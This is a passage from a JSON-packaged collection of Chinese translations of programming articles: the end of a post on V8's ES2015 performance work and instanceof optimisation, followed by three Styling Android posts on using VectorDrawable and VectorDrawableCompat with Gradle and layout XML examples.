时，影响性能的因素。我们的目的是将这些因素降低到标准的 1 倍，至少也要在 2 倍之内。这个夏天开始，我们在这方面做了大量的优化。\n\n![Improvements M54 to M56](http://benediktmeurer.de/images/2016/six-speed-20161125.png)\n\n这张图表展示了从 V8 5.4 版本到 到 5.6 版本（Chorme M56 将采用）的提升。在分析过程中，我还通过 `--turbo-escape` 额外给 V8 加了一些限制，因为 Turbofan 逃逸分析当时并不成熟（自[crrev.com/2512733003 ](https://codereview.chromium.org/2512733003)已在 TOT 上线）,也就是说，这还不是 5.6 的实力。图表显示了 ES5 到 ES6 各部分的优化百分比。还有一些标准未提及但成绩也在 2x 以内。目前我们的工作仍在继续，我们希望能为下次 Node.js LTS 版本发布时提供 ES2015（性能和功能方面）卓越的体验。\n\n### 细看 `instanceof`\n\n除了 [six-speed](https://github.com/fhinkel/six-speed) 表所展现的，我们也积极提升了其他新语言特性的交互，这些提升乍一看或许并不起眼。我在这里想提及的是 ES2015 里的 `instanceof` 操作符和新引入的symbol [@@hasInstance](https://tc39.github.io/ecma262/#sec-symbol.hasinstance) 。一开始在 V8 上实现 ES2015 时，我们无法充分优化每一个特性，我们也不想因为 ES2015 新的语言特性就减少工作量、降低标准（当时我们还没有 100% 地实现 ES2015，但去年年底，在保证没有任何性能明显衰退的前提下，我们基本上实现了 ES2015）。然而，新加入的 symbol 类型也导致了一些麻烦。\n\n![InstanceofOperator EcmaScript specification](http://benediktmeurer.de/images/2016/instanceof-20161125.png)\n\n拿 `instanceof` 来说，你总得检查右值是否有 `@@hasInstance` 的方法，并取代 ES5 中 [OrdinaryHasInstance](https://tc39.github.io/ecma262/#sec-ordinaryhasinstance) 的旧算法--即使 99% 的情况下调用的是 [Function.prototype[@@hasInstance]](https://tc39.github.io/ecma262/#sec-function.prototype-@@hasinstance)，也是通过 OrdinaryHasInstance 实现的。例如有如下函数 `isA`\n\n```\nfunction A() { ... }\n\n...\n\nfunction isA(o) { return o instanceof A; }\n```\n\n如果采用 ES2015 的方式，函数性能将大打折扣，因为运行 `instanceof` 不光要追踪原型链产生额外开销，还需要检查  `A `  的原型链上是否有  `@@hasInstance`  属性以便调用。为了降低影响，我们一开始决定采用 *protector cell* 的机制。这套机制让一部分 V8 假定一部分事件尚未发生， 从而跳过某些检测。在这个例子中， protector cell 确保 V8 没有添加其他 Symbol.hasInstance 的属性。如果 `@@hasInstance` 没有在其他地方添加，并且保护器完好，就可以继续调用 OrdinaryHasInstance  来实现 `instanceof`。\n\n如果短期内没人使用这种补丁版的 `instanceof` , 那就相当于为实现伸缩性良好的、自定义的`Symbol.hasInstance` 匀出了时间。然而这不可能，在 Node.js v7中，实现 `Writable` 类时已经采用了 [`Symbol.hasInstance`](https://github.com/nodejs/node/commit/2a4b068acaa160a2d76ec5a3728e29ac6cdc715b)，结果在 Node.js 里使用 `instanceof` 时，甚至要比原来慢100倍。我们只能寻求其他解决方式。功夫不负有心人，有一种简单的方式能够优化 Crankshaft 和 TurboFan，并且不依赖于全局的 protector cell，我们因此顺利解决了这个问题，issue 记录在 [crrev.com/2504263004](https://codereview.chromium.org/2504263004) 和 [crrev.com/2511223003](https://codereview.chromium.org/2511223003) 中。\n\n对于 TurboFan，除了解决性能倒退的问题外，我还一并适度优化了自定义的`Symbol.hasInstance` 句柄，有可能导致（误）用 `instanceof ` 做一些奇妙的事，譬如下面这段代码：\n\n```\nvar Even = {[Symbol.hasInstance](x) { return x % 2 == 0; } }\n\nfunction isEven(x) {\n  return x instanceof Even;\n}\n\nisEven(1); // false\nisEven(2); // true\n```\n\n假设我们通过 `--turbo`  和 `--ignition-staging` 用新的编译器流水线（Ignition and TurboFan）运行这段代码，TurboFan 在 x64 位上得出以下（近乎完美的）结果：\n\n```\n...SNIP...\n0x30e579704073    19  488b4510       REX.W movq rax,[rbp+0x10]\n0x30e579704077    23  48c1e820       REX.W shrq rax, 32\n0x30e57970407b    27  83f800         cmpl rax,0x0\n0x30e57970407e    30  0f9cc3         setll bl\n0x30e579704081    33  0fb6db         movzxbl rbx,rbx\n0x30e579704084    36  488b5510       REX.W movq rdx,[rbp+0x10]\n0x30e579704088    40  f6c201         testb rdx,0x1\n0x30e57970408b    43  0f8563000000   jnz 148  (0x30e5797040f4)\n0x30e579704091    49  83fb00         cmpl rbx,0x0\n0x30e579704094    52  0f8537000000   jnz 113  (0x30e5797040d1)\n                  -- B4 start --\n0x30e57970409a    58  83e001         andl rax,0x1\n                  -- B9 start --\n0x30e57970409d    61  83f800         cmpl rax,0x0\n0x30e5797040a0    64  0f8409000000   jz 79  (0x30e5797040af)\n                  -- B10 start --\n0x30e5797040a6    70  498b45c0       REX.W movq rax,[r13-0x40]\n0x30e5797040aa    74  e904000000     jmp 83  (0x30e5797040b3)\n                  -- B11 start --\n0x30e5797040af    79  498b45b8       REX.W movq rax,[r13-0x48]\n                  -- B12 start (deconstruct frame) --\n0x30e5797040b3    83  488be5         REX.W movq rsp,rbp\n0x30e5797040b6    86  5d             pop rbp\n0x30e5797040b7    87  c21000         ret 0x10\n...SNIP...\n```\n\n我们不仅能够内联自定义的 `Even[Symbol.hasInstance]()` 方法，Ignition 为模块化的操作符收集的整数反馈后，被 TurboFan 在消化后将 `x % 2` 转换为按位与操作。这个过程还有一些细节可以改善，但如上文提及，我们仍在努力提升 TurboFan。\n\n![Prepare for instanceof boost](http://benediktmeurer.de/images/2016/instanceof-20161125.jpg)\n\n### 幕后的工程师们\n\n最重要的是，有了[前人](https://en.wikipedia.org/wiki/Lars_Bak_(computer_programmer))的[努力](https://twitter.com/mraleph)和以下工程师的辛勤付出才有了所有可能。下面是参与到 ES2015、Node.js 和 Chrome 幕后工作的人员名单：\n\n- [Adam Klein](mailto:adamk@chromium.org)\n- [Caitlin Potter](https://twitter.com/caitp)\n- [Daniel Ehrenberg](https://twitter.com/littledan)\n- [Franziska Hinkelmann](https://twitter/fhinkel)\n- [Georg Neis](mailto:neis@chromium.org)\n- [Jakob Gruber](https://twitter.com/schuay)\n- [Michael Starzinger](mailto:mstarzinger@chromium.org)\n- [Peter Marshall](mailto:petermarshall@chromium.org)\n- [Sathya Gunasekaran](https://twitter.com/_gsathya)\n\n当然也有其他人在 ES6 和 V8 实现上贡献颇多，他们是:\n\n- [Andreas Rossberg](mailto:rossberg@chromium.org)\n- [Dmitry Lomov](https://twitter.com/mulambda)\n- [Erik Arvidsson](https://twitter.com/ErikArvidsson)\n\n要是你碰巧遇到他们了，而且中意他们对 V8 做的贡献，那就顺便请他们小酌一两杯吧。\n\n---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/vectors-for-all-almost.md",
    "content": ">* 原文链接 : [Vectors For All (almost)](https://blog.stylingandroid.com/vectors-for-all-almost/)\n* 原文作者 : [stylingandroid](https://blog.stylingandroid.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [edvardhua](https://github.com/edvardHua)\n* 校对者: [SatanWoo](https://github.com/SatanWoo), [zhangzhaoqi](https://github.com/joddiy)\n\n# Vectors For All (almost)\n\n经常阅读 Styling Android 的读者会知道我有多么喜欢用 _VectorDrawable_ 和 _AnimatedVectorDrawable_ 。直到我在写这篇文章之前我还在等待 _VectorDrawableCompat_ （译者注：之前大家以为官方会出兼容 Support ，后来官方使用了另外一种方案，详细内容可戳该[链接](http://blog.chengyunfeng.com/?p=836&utm_source=tuicool&utm_medium=referral)），所以目前矢量图只能够在 API 21+ (Lollipop) 上面使用。然而，Android Studio 1.4 增加了对旧 android 的兼容，所以，实际上可以在低于 Lollipop 版本的机器上面使用 _VectorDrawable_ 。\n\n在使用之前先来快速回顾一下什么是 _VectorDrawable_ 。 本质上来说它其实就是安卓对 SVG path data 的一层封装。而 SVG paths 是一种以 xml 方式描述复杂图形元素的东西。(译者注：感兴趣的可以阅读 W3C 的[官方文档](http://www.w3school.com.cn/svg/svg_reference.asp)) SVG 很适合用来储存线条和矢量图像，但不适合用来储存摄影图像。通常在Android中 _ShapeDrawable_ 可以实现一些线条和形状的[绘画](https://blog.stylingandroid.com/more-vector-drawables-part-2/)。 但大多数情况我们会将这些矢量图转换成不同像素密度位图来使用。在这篇文章中，我们将会一起来探索如何使用它。\n\nAndroid Studio 1.4 介绍了如何将SVG图像导入到 Android Studio 然后再自动转换为 _VectorDrawable_ 。这些图标可以来自 [material icons pack](https://www.google.com/design/icons/) 或者是单独的 SVG 文件。导入 material icons 的确可以和 VectorDrawable 配合的天衣无缝，同时 google 也提供了大量的 icon 供我们选择。然而，导入单独的 SVG 文件会产生诸多的问题。产生这些问题的主要原因是 _VectorDrawable_ 只支持一部分的 SVG 特性，而像图像渐变，填充和本地 IRI 引用（能够给元素一个唯一的索引，然后在 SVG 内通过索引重用）以及图像的变换等一些我们经常使用的特性都不支持。\n\n举个例子，即使是如官网 LOGO 这样简单的一个[SVG图像](http://www.w3.org/2009/08/svg-logos.html)(如下图所示)都不能导入到 Android 中，因为他使用了本地的IRI引用。\n\n[![](http://ww2.sinaimg.cn/large/a490147fjw1f3qekctzbxj208c08cgm3.jpg)](https://blog.stylingandroid.com/wp-content/uploads/2015/10/svg_logo.svg)\n\n现在还不太清楚 Android 去除这些特性是否是出于性能方面原因，（譬如，渐变效果的渲染会比较复杂一点）或者说是为了以后开发的考虑。\n\n如果你足夠了解 SVG 的格式（这个已经不属于本文的讨论范畴了）我们可以手动的修改图标，然后移除本地 IRI 引用，我们可以对刚才提到的图标可以使用这个方法。\n\n[![](http://ww3.sinaimg.cn/large/a490147fgw1f3qem0ozz1j208c08cgm3.jpg)](https://blog.stylingandroid.com/wp-content/uploads/2015/10/svg_logo2.svg)\n\n然而仍然不能够导入到 Android ，因为会抛出 “premature end of file” 的错误信息，并且会指出出现问题的那行。感谢来自[Wojtek Kaliciński](https://plus.google.com/+WojtekKalicinski) 的建议，我将 SVG 中 width 和 height 的值从百分比改成绝对值之后就可以导入到 Android 中去了。但是因为水平和竖直移动（Translations）特性不支持，导致所有的元素摆放位置不好。\n\n[![](http://ww2.sinaimg.cn/large/a490147fgw1f3qemjbtmwj208c08c3yh.jpg)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/svg_logo2.png?ssl=1)\n\n通过手动将所有的平移（translation）和旋转（rotation）变换从原来的 SVG 格式转换到 Android 中所支持的格式后（在`<group></group>`包含`<path></path>`来支持变换），我终于能够将 SVG 图标导入，并使用 VectorDrawable 将其在 Marshmallow 上正确渲染。\n\n[![](http://ww3.sinaimg.cn/large/a490147fjw1f3qenekno5j208c069aa3.jpg)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/SVGLogo.png?ssl=1)\n\n使用 Juraj Novák 所开发的 [svg2android](http://inloop.github.io/svg2android/) 工具可以方便的将 SVG 转换成 _VectorDrawable_ 。该工具也有限制，那就是不能处理渐变和本地 IRI 引用的问题。但是可以省去我们手动微调的工作还是很不错的，像我刚才提到的宽高的问题，使用该工具转换则没有抛出错误。该工具开启实验性模式后还支持图像的变换（Transformation）并且支持的很好。但是对于本地的IRI引用还是需要我们手动的去修改原生的 SVG 文件。\n\n将转换后的文件放到 `res/drawable` 文件夹后，我们可以直接当成 drawable 来引用，如下代码所示：\n\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n      xmlns:tools=\"http://schemas.android.com/tools\"\n      android:layout_width=\"match_parent\"\n      android:layout_height=\"match_parent\"\n      android:paddingBottom=\"@dimen/activity_vertical_margin\"\n      android:paddingLeft=\"@dimen/activity_horizontal_margin\"\n      android:paddingRight=\"@dimen/activity_horizontal_margin\"\n      android:paddingTop=\"@dimen/activity_vertical_margin\"\n      tools:context=\".MainActivity\">\n\n      <ImageView\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:contentDescription=\"@null\"\n        android:src=\"@drawable/svg_logo2\" />\n    </RelativeLayout>\n\n假如我们使用的 gradle plugin 版本是 1.4.0 或者更高的话（截至到我写这篇文章之前，还未正式发布1.4.0，但是 `1.4.0-beta6` 已经可以实现这个效果了），那么他将适配到 Android API 1。\n\n那么，适配低版本的原因是什么呢？让我们来看一下Build文件夹里面所生成的代码，答案就已经很明显了。\n\n[![Screen Shot 2015-10-03 at 15.20.33](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/Screen-Shot-2015-10-03-at-15.20.33.png?resize=386%2C509&ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/Screen-Shot-2015-10-03-at-15.20.33.png?ssl=1)\n\n针对于 API 21 或者更高版本的设备，我们导入的矢量 XML drawable 文件将会被使用，但是对于早起的版本，我们则使用 PNG 代替矢量的 drawable 。\n\n但是如果我们出于 apk 大小的考虑，并不想生成多个 PNG 文件来适配多个分辨率呢？我们可以通过设置 `generatedDensities` 的值来决定需要生成 PNG 的分辨率和数量。\n\n\n    apply plugin: 'com.android.application'\n\n    android {\n        compileSdkVersion 23\n        buildToolsVersion \"23.0.1\"\n\n        defaultConfig {\n            applicationId \"com.stylingandroid.vectors4all\"\n            minSdkVersion 7\n            targetSdkVersion 23\n            versionCode 1\n            versionName \"1.0\"\n            generatedDensities = ['mdpi', 'hdpi']\n        }\n        buildTypes {\n            release {\n                minifyEnabled false\n                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            }\n        }\n    }\n\n    dependencies {\n        compile fileTree(dir: 'libs', include: ['*.jar'])\n        testCompile 'junit:junit:4.12'\n        compile 'com.android.support:appcompat-v7:23.0.1'\n    }\n\n\n如果我们现在进行 build ，我们会发现它（记住，在 build 之前先清除上一次 build 生成的 PNG 文件）只生成了我们指定的分辨率大小的 PNG 文件。\n\n[![Screen Shot 2015-10-03 at 15.27.08](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/Screen-Shot-2015-10-03-at-15.27.08.png?resize=384%2C509&ssl=1)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/Screen-Shot-2015-10-03-at-15.27.08.png?ssl=1)\n\n所以，现在来看一下这些 PNG 图片里面的内容是什么：\n\n[![](http://ww2.sinaimg.cn/large/a490147fgw1f3qeortzuwj208c08c3yh.jpg)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/10/svg_logo2.png?ssl=1)\n\n这些图片本质上跟我之前未修改的 SVG 图像的内容是相同的。我需要提醒大家，这里会抛出警告信息，告诉我们 `<group></group>`  元素不支持生成栅格化的图片格式。但是这并不能消除 _VectorDrawable_ 是 Android 中特有的格式，而且该格式不支持上述特性，这让我们感到很困惑的事实。\n\n我们现在开始了解为什么图像的变换特性在导入工具中不被支持了，因为 _VectorDrawable_ 中的 `<group></group>` 元素不支持导出栅格化的图片格式，从而导致不能够向前兼容的问题。这个看上去是一个重大的疏忽：因为在 Lollipop 上面渲染正常的 _VectorDrawable_ 资源，在将他们转换成 PNG 后则不能够正确的渲染。\n\n总结：如果使用这些新的工具从 material icons 库导入资源，那么它们则能够完美无瑕的渲染。但是，我们需要注意的是它们只具备导入 SVG 的能力以及只支持 SVG 一部分特性的转换，所以这导致了它们不能够导入现实世界中大部分的 SVG 文件。此外，对于新工具中将 _VectorDrawable_ 转换成 PNG 来适配低版本的机器的时候是不支持像素图转换的，这让我们觉得新工具的功能还没有完成还不能够拿来使用。\n\n其实这种层次的手动微调花不了太多的时间（譬如修改官方 logo ），尤其我们是先用转换工具将它们转换成 _VectorDrawable_ 后。尽管我仍然需要手动的修改图像变换所涉及到的全部坐标，也就是 SVG pathData 的元素内容。\n\n让我们期望这些问题在新的工具上会得到解决。这样这些有潜力的新工具才能够开始达到它们原来的目标。\n\n这篇文章的源代码可以在[这里](https://github.com/StylingAndroid/Vectors4All/tree/master)找到。\n"
  },
  {
    "path": "TODO/vectors-for-all-finally.md",
    "content": ">* 原文链接 : [Vectors For All (finally)](https://blog.stylingandroid.com/vectors-for-all-finally/)\n* 原文作者 : [stylingandroid](https://blog.stylingandroid.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jaeger](https://github.com/laobie)\n* 校对者: [zhangzhaoqi](https://github.com/joddiy), [SatanWoo](https://github.com/SatanWoo)\n\n# Vectors For All (最终篇)\n\n这是关注 Android 的 __VectorDrawable__ 系列博文中的第三篇，之前的文章是[Vectors For All (almost)](http://gold.xitu.io/entry/574e8b192b51e900560074f8)，在此之前的另外一篇是[Vectors For All (slight return)](http://gold.xitu.io/entry/5756697ea341310063dd532c)。这两篇文章向我们展示了 VectorDrawable 的可用性有了很大的提升，但是对 _VectorDrawableCompat_ 的热切等待一直落空。直到2016年2月24号，Google 发布了 Android Support Library 23.2 版本，其中就包含了一直期待的 _VectorDrawableCompat_ 。\n\n我不会给你长篇大论地讲解 _VectorDrawableCompat_ 的使用细节，因为 [Chris Banes](https://chris.banes.me/) 已经写了一篇很有深度的 [博文](https://medium.com/@chrisbanes/appcompat-v23-2-age-of-the-vectors-91cbafa87c88#.kf57cowuy) ，解释了如何使用 _VectorDrawableCompat_ ，因此在这就做重复性工作了。\n\n因此，让我们看一下，我们需要对之前文章中使用的项目做些什么样的改动，以便可以使用 _VectorDrawableCompat_ 。首先要做的事就是修改我们的 _build.gradle_ 文件，正如 Chris 在他的文章中介绍的那样。\n\n在示例代码中我使用的 Android Gradle 插件是 1.5.0 版本，而不是比较新的 2.0.0 beta 版本。因为 beta 版本插件容易失效，而我希望发布的代码在未来的几周或几个月内仍然可以成功编译——如果 2.0.0 发布了正式版，我将很乐意立即升级到 2.0.0 版本。即便如此，我们需要做以下几处修改（对于 2.0.0 版本，这些修改是不同的——可以去看 Chris 的文章了解更多细节——我也测试了 Chris 文中提到的方法，同样也是有效的）：\n\n    apply plugin: 'com.android.application'\n\n    android {\n        compileSdkVersion 23\n        buildToolsVersion \"23.0.2\"\n\n        defaultConfig {\n            applicationId \"com.stylingandroid.vectors4all\"\n            minSdkVersion 7\n            targetSdkVersion 23\n            versionCode 1\n            versionName \"1.0\"\n            generatedDensities = []\n        }\n        aaptOptions {\n            additionalParameters \"--no-version-vectors\"\n        }\n        buildTypes {\n            release {\n                minifyEnabled false\n                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n            }\n        }\n    }\n\n    dependencies {\n        compile fileTree(dir: 'libs', include: ['*.jar'])\n        testCompile 'junit:junit:4.12'\n        compile 'com.android.support:appcompat-v7:23.2.0'\n    }\n\n    apply from: '../config/static_analysis.gradle'\n\n这样做的实质是关闭了过去从 _VectorDrawable_ 自动生成 PNG 资源的方式。\n\n接下来我们需要做的是使用 `app:srcCompat` 代替 `android:src` 为我们的布局中的 _ImageView_ 设置图片资源：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n      xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n      xmlns:tools=\"http://schemas.android.com/tools\"\n      android:layout_width=\"match_parent\"\n      android:layout_height=\"match_parent\"\n      android:paddingBottom=\"@dimen/activity_vertical_margin\"\n      android:paddingLeft=\"@dimen/activity_horizontal_margin\"\n      android:paddingRight=\"@dimen/activity_horizontal_margin\"\n      android:paddingTop=\"@dimen/activity_vertical_margin\"\n      tools:context=\".MainActivity\">\n\n      <ImageView\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:contentDescription=\"@null\"\n        app:srcCompat=\"@drawable/svg_logo2\" />\n\n    </RelativeLayout>\n\n这样就可以啦！当然确保我们的 _Activity_ 已经继承自 _AppCompatActivity_ ，这是使用 _VectorDrawableCompat_ 的前提。\n\n唯一一点让我发牢骚的是 Android Studio （当我写这篇文章时，我正在使用 2.0 beat 6 版本）不识别 `app:srcCompat` 属性，因此报错了。但一切都可以正常编译。 我们也收到了一些错误的 Lint（译者注：静态代码检查工具）警告，但是如果你觉得有必要的话，这些警告是可以被关闭的。我希望这些错误的报错和警告问题能够尽快修复。\n\n如果我们在一台 6.0 的设备上运行，一切看起来都不错，正如我们所预期的那样：\n\n[![compat-m](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-m.png?resize=300%2C225&ssl=1%20300w,%20https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-m.png?resize=768%2C576&ssl=1%20768w,%20https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-m.png?resize=1024%2C768&ssl=1%201024w,%20https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-m.png?resize=624%2C468&ssl=1%20624w)](https://blog.stylingandroid.com/?attachment_id=3696)\n\n如果我们在一个 4.4 的模拟器上运行这个程序，看起来几乎一致。\n\n[![compat-jb](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-jb.png?resize=180%2C300&ssl=1%20180w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/02/compat-jb.png?w=480&ssl=1%20480w)](https://blog.stylingandroid.com/?attachment_id=3697)\n\n_AnimatedVectorDrawableCompat_ 又是怎样的呢？让我们再次看看 [Styling Android series on VectorDrawable](https://blog.stylingandroid.com/vectordrawables-part-1/) 中的例子是如何做的。\n\n我们和前面一样修改这个示例项目，唯一不同的是这次我们需要修改 Activity 继承自 AppCompatActivity 。让我们来一步步调试我们的例子：\n\n首先这是一个静态的 Android 标志：\n\n[![screenshot-2016-02-27_11.03.32.637](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/03/screenshot-2016-02-27_11.03.32.637.png?resize=300%2C180&ssl=1%20300w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/03/screenshot-2016-02-27_11.03.32.637.png?resize=768%2C461&ssl=1%20768w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/03/screenshot-2016-02-27_11.03.32.637.png?resize=1024%2C614&ssl=1%201024w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/03/screenshot-2016-02-27_11.03.32.637.png?resize=624%2C374&ssl=1%20624w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2016/03/screenshot-2016-02-27_11.03.32.637.png?w=1280&ssl=1%201280w)](https://blog.stylingandroid.com/?attachment_id=3699)\n\n正如我们所期待的那样，由于它是一个静态的_vectorDrawable，所以它的效果看起来很棒。当我们给它添加动画之后会发生什么呢？（这些例子全运行在 Android 4.4 的 GenyMotion 模拟器上）：\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f3qiw99kzeg20qo0g01es.gif)\n\n要知道这可是在模拟器上而不是真机上运行。显然，低配置的机器上帧率会差一些，同样，当我们适配更早的 Android 版本时，也会遇到许多类似的情况，但不管怎么说，这个结果是令人振奋的。\n\n`trimPath` 动画表现的怎么样呢？\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f3qizfsrzjg20qo0g04ly.gif)\n\n再一次，`trimPath` 的效果也是令人叹服的——它达到了预期的效果，并且相当流畅。\n\n不幸的是，上一系列的最后一个例子没生效。这是因为它是直接根据 `pathData` 来执行动画的，正如 Chris 提到的，目前 _AnimatedVectorDrawableCompat_ 并不支持这种方式。然而 Chris 使用了 “目前” 这个词——因此在这个库将来的某个版本中，可能会支持这种非常强大的特性。\n\n这是对该兼容库的总结：该兼容库的表现相当棒，且集成到你当前的应用中也非常容易。感谢 Chris 和其他为此工作的团队成员，为我们带来了如此实用的功能。\n\n因此，让我们关注下在我们的应用中使用矢量图需要注意的其他部分——将 SVG 资源转换成 _VectorDrawable_ 。据我们了解，过去 SVG 支持是有一些疏漏的，这意味着我们无法通过 Android Studio 的导入功能或者  [第三方 SVG 转 VectorDrawable 工具](http://inloop.github.io/svg2android/) 来导入官方的SVG Logo （这本应被认为是对基础 SVG 支持的一个基准）。现在这有好消息也有坏消息。\n\n第一个坏消息是：Android Studio 仍然不能正确导入这个官方 SVG 标志——我已经测试了 Android Studio 2.0 beat 6 版本，仍然不支持。\n\n但是也有个好消息，在我发布了该系列的上一篇文章之后不久，Juraj Novák （第三方转换工具的作者）联系了我，告知对本地 IRI 引用的支持遗漏（我早期的文章提到了这个）已经加上去了。不过有个小提示：当你转换这个 SVG 标志资源的时候，你**必须**勾选上提供给你的 “`Bake transforms into path (experimental)`” 选项，这个将会如实转换成一个你可以直接放到你项目中使用的 _VectorDrawable_ xml 文件。\n\n第三方转换工具目前还不支持 SVG 的渐变和图样，但是这个是因为 _VectorDrawable_ 本身就不支持——只有 SVG 的 path data 是确切支持的。\n\n使用 Juraj 的转换工具和最新的 _VectorDrawableCompat_ 库，这一切都为使用矢量图作为主流方式作好了准备，伙计们，让我们进入矢量图时代吧！（这段原文实在不好翻译= =）\n\n这里是更新后支持兼容库的 [Vectors For All](https://github.com/StylingAndroid/Vectors4All/tree/finally) 文章和 [VectorDrawable](https://bitbucket.org/StylingAndroid/vectordrawables/src/a27f80278eac093b68161ec52a29ffd480e937c1/?at=Part3) 代码。\n\n"
  },
  {
    "path": "TODO/vectors-for-all-slight-return.md",
    "content": ">* 原文链接 : [Vectors For All (slight return)](https://blog.stylingandroid.com/vectors-for-all-slight-return/)\n* 原文作者 : [stylingandroid](https://blog.stylingandroid.com)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [circlelove](https://github.com/circlelove) , [edvardHua](https://github.com/edvardHua)\n\n# Vector For All (slight return)\n\n大多数 Styling Android 的读者都知道我特别喜欢 _VectorDrawable_ 和 _AnimatedVectorDrawable_。 然而（在我写这篇文章时）我们仍然在期待 _VectorDrawableCompat_ 发布，现在我们现在只能在 API 21 (Lollipop) 以及更高的版本上使用。 然而，Android Studio 添加了一些向后兼容的构建工具，这样我们就能在 Lolipop 之前的版本中使用 _VectorDrawable_ 。这篇文章中会讲它是怎么工作的。\n\n[![svg_logo2](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo2.png?w=300%20300w,%20https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo2.png?resize=150%2C150%20150w)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo2.png?ssl=1)\n\n在[之前的文章](https://blog.stylingandroid.com/vectors-for-all-almost/) 中我们知道 _VectorDrawable_ 的支持是在 Android Studio 1.4 时添加的，并且发现他缺少一些关键部分区域。首先 SVG 导入工具并不能很好的导入 SVG 素材；其次，为 API21 之前设备准备的自动将 SVG 转为 PNG 的工具会导致我们的图片错位。\n\n随着 Android Studio 2.0 预览版的到来（写这篇文章的时候谷歌刚好开放了下载链接），我们再回头来看看这个工具是否有了改进。\n\n和以前一样，我们将使用官方 SVG logo 作为我们的基准，因为它用了 SVG 很多方面来避免渐变（事实上因为性能问题而获得支持不太可能。）\n\n如果我们通过 `New|Vector Asset|Local SVG File` 引入这个 logo （可以在 [SVG 论坛](http://www.w3.org/Icons/SVG/svg-logo-v.svg) 找到），在引入时不会有解析错误，但引入的东西却并不正确：\n\n[![](http://ww3.sinaimg.cn/large/a490147fgw1f3qdvqii2ej208c08c745.jpg)](https://i0.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo3.png?ssl=1)\n\n因为一个未支持的 SVG 特性导致这个问题，那就是本地 IRI 引用未支持。本地 IRI 应用允许特定的形状定义一次，然后在文档中多次使用，不论是笔画，填充，或是转换。官方的 SVG logo 定义了一个哑铃型的形状（一条线两端是圆）并用黑色和黄色填充，加上大量旋转形成像花一样的 SVG logo。类似的字母 ‘S’，‘V’，& ‘G’ 也是用同样的方法定义，导致也没有渲染出来。\n\n退一步来讲，手动编辑 SVG 源文件然后将本地的 IRI 引用替换成形状定义并不是很难，但却是一个繁重的工作。\n\n为了完整性我也尝试用 [Juraj Novák’s 在线转换工具](http://inloop.github.io/svg2android/), 做过转换，估计不会有更好的了-因为有本地 IRI 引用:\n\n[![](http://ww3.sinaimg.cn/large/a490147fgw1f3qdwanyr0j208c08ca9z.jpg)](https://i1.wp.com/blog.stylingandroid.com/wp-content/uploads/2015/12/svg_logo4.png?ssl=1)\n\n因此导入和转换 SVG 资料作为 VectorDrawable 还是有问题的。但公平来讲比上次我尝试的时候已经有很大的进步了。上次，我只得到了一堆没有意义的错误信息并不能帮助我定位问题。我猜对于不依赖本地 IRI 引用的 SVG 材料会有很大的概率成功-也就是说确实有提升。\n\n那么把注意力放在工具链的另一部分：在编译时期将 _VectorDrawable_ 生成 PNG 文件。重述一下：如果你将 minSDKVersion 设为 21 以下，这将是构建工具的一部分，VectorDrawable 会自动生成对应的PNG 文件。当你的 APK 运行在 API 21 或者之后的设备上将会使用 VectorDrawable，在之前的设备上将会使用对应的 PNG 文件。换句话说，你只需要添加 VectorDrawable 文件编译工具会需要的时候自动帮你转换。\n\n之前当我尝试这个的时候，我发现 _VectorDrawable_  中的 `<group></group>` 元素会被忽略，因此很多应用在 group 级的转译也会被忽略，最后 PNG 